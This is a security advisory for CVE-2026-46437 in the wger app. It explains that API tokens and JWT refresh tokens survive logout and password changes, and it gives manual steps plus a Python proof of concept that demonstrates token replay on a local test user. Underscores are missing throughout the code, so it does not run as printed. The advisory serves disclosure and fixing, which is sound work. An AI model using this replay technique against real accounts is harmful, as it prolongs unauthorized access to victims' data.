PT-2026-107515 · Pypi+1 · Wger

CVE-2026-46437

·

Published

2026-10-07

·

Updated

2026-10-07

CVSS v3.1

4.8

Medium

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:
  • Logout (/user/logout) only clears the Django session cookie via django logout() and does not revoke API tokens.
  • Password change updates the password hash, but does not revoke:
  • existing DRF tokens stored in authtoken token
  • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

  • wger/wger/core/views/user.py (logout implementation)
  • wger/settings/settings global.py (DRF auth configuration, SimpleJWT defaults)
  • wger/settings/main.py (commonly used production defaults for JWT lifetimes)
  • wger/wger/utils/api token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account.
  2. Obtain a JWT refresh token:
  • POST /api/v2/token with username/password.
  1. Obtain a DRF token (API key):
  • use /user/api-key (or create token via admin/DB in a test environment).
  1. Change password:
  • POST /<lang>/user/password/change with old password, new password1, new password2.
  1. Prove token replay:
  • Call a private endpoint using the old DRF token (should still return 200).
  • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):
python
import json
import os


def main() -> None:
  """
  PoC for IDENTITY-VULN-01:
  Proves that password change does not revoke:
   - DRF authtoken (Authorization: Token <key>)
   - JWT refresh tokens (still mint access tokens)

  This PoC runs entirely in-process using Django's test client + DRF APIClient.
  It does not require running the dev server.
  """

  os.environ.setdefault("DJANGO SETTINGS MODULE", "settings.main")
  # Ensure we use the local sqlite DB path used during setup
  os.environ.setdefault("DJANGO DB DATABASE", "db.sqlite3")
  os.environ.setdefault("DJANGO MEDIA ROOT", "media")

  import django

  django.setup()

  from django.conf import settings
  from django.contrib.auth.models import User
  from django.test import Client
  from rest framework.authtoken.models import Token
  from rest framework.test import APIClient

  username = "pwchange user poc"
  old pw = "OldPassw0rd!"
  new pw = "NewPassw0rd!"

  # Create a clean user + DRF token
  User.objects.filter(username=username).delete()
  user = User.objects.create user(username=username, password=old pw)
  Token.objects.filter(user=user).delete()
  drf token = Token.objects.create(user=user).key

  api = APIClient()

  # Obtain JWT tokens with old password (proof baseline)
  r obtain = api.post("/api/v2/token", {"username": username, "password": old pw}, format="json")
  refresh = getattr(r obtain, "data", {}).get("refresh")

  # Change password through the actual password change endpoint
  web = Client()
  web.force login(user)
  r pw = web.post(
    "/en/user/password/change",
    data={"old password": old pw, "new password1": new pw, "new password2": new pw},
    follow=False,
  )

  # Old password should fail now (sanity check)
  r obtain old = api.post(
    "/api/v2/token",
    {"username": username, "password": old pw},
    format="json",
  )

  # New password should work
  r obtain new = api.post(
    "/api/v2/token",
    {"username": username, "password": new pw},
    format="json",
  )

  # DRF token remains valid (private endpoint still accessible)
  api.credentials(HTTP AUTHORIZATION=f"Token {drf token}")
  r drf = api.get("/api/v2/weightentry/")

  # Old refresh remains valid (still mints a new access token)
  api.credentials()
  r refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

  out = {
    "jwt refresh lifetime seconds": int(settings.SIMPLE JWT["REFRESH TOKEN LIFETIME"].total seconds()),
    "jwt access lifetime seconds": int(settings.SIMPLE JWT["ACCESS TOKEN LIFETIME"].total seconds()),
    "jwt obtain oldpw before change": r obtain.status code,
    "password change status": r pw.status code,
    "jwt obtain oldpw after change": r obtain old.status code,
    "jwt obtain newpw after change": r obtain new.status code,
    "drf token private api after change": r drf.status code,
    "jwt refresh with old refresh after change": r refresh.status code,
    "jwt refresh response keys": sorted(list(getattr(r refresh, "data", {}).keys())),
  }

  print(json.dumps(out, indent=2))


if  name  == " main ":
  main()
Expected output (example from a successful run):
json
{
 "jwt refresh lifetime seconds": 86400,
 "jwt access lifetime seconds": 900,
 "jwt obtain oldpw before change": 200,
 "password change status": 302,
 "jwt obtain oldpw after change": 401,
 "jwt obtain newpw after change": 200,
 "drf token private api after change": 200,
 "jwt refresh with old refresh after change": 200,
 "jwt refresh response keys": [
  "access"
 ]
}

Impact

A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access.
  • Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used).
  • Integrity: attacker can perform any API mutations permitted to the victim’s account.

Fix

Improper Authentication

Insufficient Session Expiration

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-46437
GHSA-V3X9-6GG8-C2C9

Affected Products

Wger